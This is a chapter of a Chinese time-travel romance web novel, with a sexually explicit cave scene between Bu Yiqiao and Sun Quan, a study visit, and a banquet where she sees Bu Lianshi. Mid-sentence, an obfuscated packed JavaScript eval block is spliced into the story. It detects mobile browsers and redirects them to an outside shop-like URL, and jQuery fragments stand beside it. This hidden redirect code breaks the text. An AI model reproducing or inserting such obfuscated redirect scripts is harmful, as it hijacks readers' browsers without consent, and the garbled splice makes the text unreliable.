“所以,主公今夜,可想与我探讨一番房中术呀?”
“不想。”
“啊?”
孙权扶着步一乔的腰,将人从腿上托起,而后就着腰举着她站起身,走向今夜临时所用的床榻。
“在庐江奔波一日,该歇了。”
“不是……”步一乔费解,“你怎么回事?禁欲了?”
“嗯。”
“啊?”
“戒断情欲。”
“啊??”
步一乔简直怀疑自己听错,又或是眼前这人突然害了什么隐疾。她慌忙伸手探他额头,又摸摸自己的。
“没发热啊……怎么说起胡话来了?”
步一乔的手还悬在半空,被孙权轻轻按了下来。
“不必试了,神志清醒。”他就着这个动作,将她往铺了干草的石台内侧带了带,“山野险地,更需谨慎。”
“这荒山野岭、大雪纷飞的,连只野鬼都看不见,守给谁看?”步一乔扯住他即将抽离的衣袖。
“听见事小,失温事大。”
将披风盖好,孙权将步一乔抱在怀中,摆好一副真要睡了的样子。
“睡吧。”
步一乔贴着他胸膛,听着洞外风声,忽然轻声道:“你该不是……还在生我的气吧?因为嫉妒?”
孙权沉默片刻,手掌在她背上轻轻一拍。
“不是,雪太大了。”
答非所问。
步一乔却懂了。她悄悄弯起嘴角,往他怀里又蹭了蹭。
“那等雪停了……”
“等雪停了,还要赶路。”他闭着眼接话,“不许再讲话,睡觉。”
洞外风雪呼啸,洞内暖意渐浓。
步一乔听着他平稳的心跳,忽然极轻地问:“主公这般克制……能忍到几时?”
昏暗中,她清晰听见他艰难吞咽的声音。
步一乔的嘴角无声地扬起,她不再追问,反而乖巧地往他怀里缩了缩,脸颊贴着他温热的胸膛。
“仲谋,你抱我紧一些,冷。”
孙权明显僵了一下。
“我抱着你的。”
“还不够紧嘛,再近点。”
“……已无空隙。”
“分明有的嘛。”
孙权彻底不讲话了。
看着某人面无表情,宛如一樽不染红尘世俗的佛像,步一乔逗弄的心也逐渐冷却。
就在她以为这场“对峙”将以孙权的绝对克制,以自己的撩拨失败告终时,头顶传来一声极低的叹息。
“你……”
他只说了一个字,便停住了。
步一乔抬起头,反问:“我?”
火光跳跃着映在他的侧脸上,少年老成的眼眸里,此刻清晰地跃动着两簇幽深的火焰,比洞中的篝火更灼人。
这才是十九岁少年该有年轻气盛的样子。
温热的指腹抚上步一乔的下颔,轻轻抬起。阴影笼罩下来,攫取了她的呼吸。软舌抵触时,她不禁轻呵,抬臂环上他的脖颈。稍稍拉扯,示意他压上来。
洞外,北风卷着漫天大雪,呼啸着掠过山崖,将天地染成一片纯白。
洞内,火光将两道紧密相依的身影投在石壁上,随着火焰摇曳。裘毯不知何时滑落肩头,寒意尚未侵袭,便被更深的暖意驱散。
良久,孙权微微退开些许,呼吸未定,低声问:“还冷么?”
步一乔眼波流转,里面漾着得逞的笑意和动人的水光,她伸手环住他的脖颈,将他重新拉近,用气音在他耳边低语:
“主公不是要戒断情欲么?”
孙权低笑一声,混着灼热的气息再次靠近。
“夫人主动投怀送抱,怎能置之不理?”
步一乔轻笑,“那妾身还得谢谢主公了?”
“嗯。”他指尖掠过她微散的衣带,所到之处激起细密战栗,“行事后……再谢不迟。”
便再无言语。
洞外风雪簌簌撞击地面是唯一的声响,却仿佛隔了无形的屏障,朦朦胧胧。洞内天地很小,小到只容得下一个他;又很大,大到所有的理智、筹谋与坚持,都在这暖融春意里消弭无形。
明明正被他拥在怀中,却仿佛感知不到爱意,只剩下无端的委屈、失落、与想哭的冲动。
好像,他就要离开了。
步一乔又走神了。
我到底什么毛病,自怀孕后就变得这般多愁善感。脆弱自卑到眼下这等时候也要哭出来吗!说来……孙权还不知道那孩子流产的真伪,也不曾过问……莫非他一直都清楚,不提,也不拆穿?
一个尚未露面的步练师,就把自己搞成这样,还要不要面子了!
细细回想,伯符离开,我穿越到此,就只是来谈恋爱吗?一面担心历史走向,一面逼孙权只可娶自己……
我为何变成这样?曾经的步一乔,去哪儿了?
“仲谋……”
湿意涌出滑落,孙权感受到,抬起深埋的头,所有动作戛然而止。慌张地捧住步一乔的脸,一遍一遍擦掉不断涌出的泪。
“很疼吗?要不停——”
“不是……”步一乔声音哽咽,“不是的……我……我……”
她泣不成声,哭得愈发委屈。
孙权擦泪的手停了下来,捧住她脸的掌心慢慢收回,他向后稍退,离开了她。
看着他这近乎“倒反天罡”的举动,步一乔一时错愕,哭声渐歇。
他……这是为何……
步一乔怔怔地望着他退开,怀中骤然一空,凉意裹着失落漫上心头。
孙权跪坐在上方,昏暗中看不清神情。
“你若不愿,不必勉强。”
“不是不愿……是怕……怕你……”
“怕我会心悦她人,弃你而去。对吗?”
她咬唇不答,泪痕未干的脸上写满无声的诘问。
静默在两人之间蔓延。孙权始终面无表情,就这么沉沉地盯着她。
步一乔在他的注视下几乎无法呼吸。那眼神太深,太冷,像冬日结冰的江面。她忽然觉得,这才是这个男人真正的样子。
“抱歉……”步一乔蛮狠地抬起手臂擦掉眼泪,“我以前不爱哭的……不知从何时起,竟变得这般脆弱。”
许是爱情作祟吧。这二十年来,她何曾如此深爱过一个人。
“如今的我,与你心仪的模样怕是相去甚远。这些荒唐行径宛如……想逼你厌弃我。”
说话惹他不悦,娇蛮引他蹙眉,无理取闹徒增失望。
“步一乔早已不是从前那个直来直往、勇往直前的自己了。她变了。”
这段磨人的情爱,终究磨去了她的棱角。让她变得扭捏、善妒、患得患失。
半晌,孙权喉间逸出一声低笑,掺着自嘲与无奈。他抬手,这次不是捧她的脸,而是轻轻拂开她额前被泪水濡湿的发丝。
“我岂会不知。最初的我,不也正是这般模样?就当……你我做了一场交换。”
他俯身靠近,指尖抚过她湿润的脸颊,沿着泪痕下滑。
“幸而你未曾厌弃那时的我,反而愿以深情相待。而我亦不觉你烦扰,只悔自己未能给你足够心安,徒让你惶恐难安。”
他的剖白让她心尖发颤。原来他亦曾忐忑。
“忘掉史书里的孙权罢,此刻在你眼前的,只是你的仲谋。”
他低头,将轻如落雪的吻印在她未干的泪痕上。
步一乔闭上眼,待那温热离去,才缓缓睁眼。
“嗯……字字句句,我都听清了。只是……不敢保证往后不再犯。”
孙权眼底笑意漾开。
“无妨,早知你性子差,我既选了你,便受得住。”
“你——你才性子差呢!”
话音未落,步一乔已整个人扑进孙权怀中。这一扑来得突然,直将他撞倒在草席上。她也不客气,抱着人便是好一顿“报复”。
如饿狼扑食般,抱着他上下左右地啃咬起来。从颈侧到锁骨,从下颌到耳垂,每一下都赌气似的格外用力。
孙权低笑出声,任由她在自己身上胡闹,咬出一个个清晰可见的齿痕。宽厚的手掌抚过她散落的长发,指尖缠绕着发丝,眼底是说不尽的宠溺。
“若非遇见你,我这一生的姻缘,恐怕皆为江东而嫁娶。笼络士族,与外联姻。”
步一乔咽下一口,仰头望着玩弄自己发丝的孙权。
“为何变了呢?”
“因为你呀。”
因为你的出现,给了我特权。我可以放肆一回,随性而为。
大不了……重头再来。
步一乔微微一笑,重新埋下头。
齿尖嵌进皮肉里,留下月牙似的印子;后来成了舔舐,湿热的舌尖掠过方才咬过的痕迹。最后停在他锁骨凹陷处,不动了。
“咬够了?”孙权问。
她不答,只将滚烫的脸颊贴在他颈间。那里血脉搏动,与她急促的呼吸交织成密密的网。
孙权刚想追问,忽然发现看似停住不动之人的手正在做坏事。隔着衣料也能感受到那份不容忽视的热度,更何况眼下无遮无掩,过分直白。
“嘶——疼。”他倒抽一口气,肌肉瞬间绷紧。
步一乔低头看了眼,抬起湿漉漉的眼睛,小声道:“抱歉,我头一回……你、你容我慢慢学……熟练了,定不会弄疼你。”
这话听着天真,却比任何撩拨都来得致命。
孙权沉重喘出一息,扣住她后颈,稍稍用力,迫使她抬起头来。四目相对,她眼中水光潋滟,分不清是未干的泪,还是新生的情动。
“现在知道害羞了?”他低笑,拇指摩挲着她耳后细嫩的肌肤。
步一乔想反驳,开口却成了一声轻哼。他的指尖正沿着她脊沟徐徐下滑。所过之处如星火燎原,激起细密的战栗。
“仲、仲谋……别……你别……”她下意轻唤,声音软得不像话。
孙权应着,一个翻身将她拢在身下,呵出的热气打在她更为灼热的肌肤上。握住她不知所措的手,十指相扣着按在席上。
吻落下的节奏不紧不慢,从轻颤的眼睑到微张的唇,每一处都耐心停留。
“叫我夫君。”
“……什么?”
“叫我夫君。”他又重复一遍。
“可……可你我尚未成亲……”
步一乔支支吾吾地别开脸,却被孙权及时捏住搬回去,深邃的目光竟带来强大的压迫感。
“步一乔,叫我夫君。”
步一乔呼吸一滞,在他灼灼的注视下,终于轻声唤道:“夫……君……”
二字出口,孙权瞬间俯身吻住她的唇,呜咽一声便是无尽的□□。
如同绽放的花瓣,身处冬日,便以梅花作比。枝干就绪,正被六礼娴熟的君子细细腻腻点缀。
笔走游龙,墨迹蜿蜒着从枝头到树根,而后他提笔,凝神聚意,在关键处稍重落笔。
笔锋转撵,一气呵成,方才还略显朴拙的纤细树干,竟在转折顿挫间生出嶙峋的风骨与劲挺的力道。
一点墨,恰似一朵梅,在他笔下痛风雪呼啸着倏然绽放。
步一乔瞪大眼睛空洞地望着洞顶的岩壁,瘫在身侧的双手虚虚地抓握,发现手边老远也没东西,视线朝下,看见某人发顶,顿时安心了些,抱着他的脑袋,紧紧抓住他的墨发。
孙权自顾作画。
吻从锁骨一路蜿蜒而下,比先前细致百倍,也磨人百倍。步一乔忍不住蜷起脚趾,指尖更深陷入他发间。
洞外风雪交加,她在他身下烘烤着化作春水,红染枝头有泪痕。
*
“公瑾兄与乔夫人也回了庐江,明日宴席,你同我前去。”
“好。那为免旁人猜议,明日我便勉强做一日主公的侍女罢。”
眼瞅着风雪暂息,两人穿好衣裳打算尽快赶回孙氏老宅。天刚破晓,一夜未眠的两人所幸还剩点气力,赶路下山不成问题。
孙氏老宅坐落在庐江城东
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822911|186820||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,虽然孙家人搬去吴郡多年,但老宅一直有人看守打扫,这些年凡需在庐江过夜,均住在老宅。
回到宅中安置妥当后,步一乔被孙权引着,步入了他年少时读书的书房。
书房内陈设简朴,墨香与旧木的气息氤氲不散。
“这是我少时读书的地方。晨间习武,午后便在这里度过。”
步一乔轻轻抚过冰凉光滑的案面,仿佛能看见一个清瘦少年的身影正伏案疾书。她抬眼,目光落在窗棂上一道浅浅的刻痕上,不由好奇。
孙权顺着她的目光看去,唇角浮起一丝笑意。
“那是叔弼(孙翊)刻的。”他走近,指尖拂过那道痕迹,“他那时顽劣,趁我读书入神,想用木剑吓我,结果剑尖划在了窗上。”
他顿了顿,眼中有光影流动,旧日喧嚣恍在眼前。
“兄长常在这里考校我功课,他自己坐不住,听我背诵时,手指总不耐地敲击桌面。公瑾兄来访时,便成了他听我背诵,兄长则于一旁打瞌睡。”
“有时,叔弼与季佐(孙匡)也会溜进来,在这书架间追逐打闹,弄得一地狼藉。”
步一乔静静听着,在她印象中那位杀伐果断的江东之主形象旁,悄然勾勒出一个更鲜活、也更沉重的少年影子。
“后来呢?”她轻声问。
孙权沉默片刻,望向窗外覆雪的庭院,声音渐沉。
“后来,兄长扛起了整个家业,再没时间听我背书。叔弼、季佐也长大了,不会再做这般孩童之举。大家各奔东西,为江东冲锋陷阵,聚少离多。”
书房内一时寂静,唯闻窗外积雪压断枯枝的声响。那些鲜活的过往,凝成了他口中一段云淡风轻的故事。
终是,人无再少年。
步一乔走到孙权身侧牵住他的手,想不出安慰的话,只好一同望着庭院。
说不出“等乱世结束,兄弟团圆那日”,因待到眼前十九岁少年真正平定江山、位及至尊之时,至亲之人早已散落天涯。
孙权侧目看她神情渐渐凝重,不由轻笑:“难得听你没说些安慰人的话。”
“怕说错了,反倒更惹伤感……”
“说来听听又何妨?”
她垂下眼帘:“本想说我大抵会长寿些,能陪你走到最后……可终究无法保证。”
孙权将她揽入怀中道:“此话,不该由你来说。”
窗外积雪映照的微光落在他侧脸上,他握着她的手指在案上写下一行字。
“与卿同舟,共此白首。”
步一乔怔怔望着那行不存在却有形的字,眼眶微微发热。也握着他的手写下一行字。
孙权低头细看,一字一顿念道:“误卿是仲谋?”
“嗯。”步一乔含笑道,“是你误了我,所以这一生,你都要好好补偿。陪着我,让我,也陪着你。”
步一乔想起了徐媛为自己的占卜:相伴长久的两个人未必是夫妻。一层名正言顺的关系罢了,不要也罢。
*
周府宴席,庐江名门齐聚。令人惊讶的是,那位日理万机的主公竟也在场。
“想不到今日能得见主公!”
“听闻淮阴步氏的小姐也要来,莫非主公正是为此而来?”
“当真是郎才女貌,天作之合啊!”
步一乔以侍女身份随行,不便紧随孙权左右,只得立在远处候命。那些议论字字清晰,搅得她心神不宁。
耳不听为静,她悄然退至庭院深处的梅树下。
“方才瞥见你的身影,一转眼就不见了,让我好找。”
小乔挺着孕肚在侍女搀扶下缓步而来。步一乔忙起身相扶。
“听说你们昨日便到了庐江,却未在孙府下榻?”
“途中遇大雪封山,今晨方归。”
“可曾受伤?定又是你任性进山,仲谋只得追去找你吧?”
步一乔轻笑,“知我者,小乔也。”
小乔一眼看穿她的心事,道:“是因那位步练师?”
虽不愿承认,步一乔还是点头。
“可曾见过本人?”
“只见过画像。”
“画像哪能瞧出真容?走,我领你去亲眼看看。”
“不必了吧……”
“我也只匆匆见过一面,却总觉得该让你亲眼见见。”
步一乔扶着小乔,缓步走向庭院另一侧的水榭,躲在暗处眺望。
远处亭中,几位世家小姐正在赏梅说笑。其中一人格外引人注目。
她身着月白深衣,乌发如云,仅簪一支白玉步摇。她端坐亭中,姿态娴雅,偶尔浅笑时眼波流转,恰似春水映梨花。最动人的是那通身的气度,温婉中自带清贵,让人见之忘俗。
步一乔不自觉地屏住了呼吸,不安的情绪愈发翻涌得厉害。
那便是步练师,画像不及本人十分之一美貌的女子,只一眼便让人情难自抑,宠爱一生,死后追封皇后的女子。
“果然……名不虚传。”
小乔轻声问:“你指她的美貌?”
步一乔目光仍停留在那道身影上,“不止是美貌,还有那身气度。贻笑大方,礼仪得当。”
小乔疑惑不解,“你这话里,怎么透着几分自惭形秽?”
“我哪儿能和她比。她是真正的大家闺秀,我……乡野泼妇。”
小乔凝视着她,眼底泛起温柔笑意。
“现在我可算懂了,何为‘不识庐山真面目,只缘身在此山中’。”
“什么?”
小乔命侍女取来一面铜镜,轻轻放入步一乔手中。镜面映出一张茫然而姣好的面容。
“不敢说十成十相像,但你俩若站在一起,定会有人将你们错认作一对孪生姐妹。”
步一乔怔住:“你是说……我与她,容貌相似?”
“若你也能同步小姐那般温婉沉静,那便真真是一个模子刻出来的了。”
步一乔垂下眼帘,指尖无意识摩挲着镜缘,低声重复道:“我和……步练师么。”